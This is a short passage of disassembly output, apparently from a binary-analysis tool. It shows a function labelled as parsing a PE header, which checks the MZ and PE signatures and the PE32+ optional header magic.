movzx eax, word [rcx + rdx + 6]
ret

Function at 0x1400024d0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x14000a008]
movzx ecx, word [rax]
cmp ecx, 0x5a4d
jne 0x1400024fc
movsxd rcx, dword [rax + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x1400024fc
movzx ecx, word [rax + rcx + 0x18]
cmp ecx, 0x20b
je 0x1400024fe
xor eax, eax
ret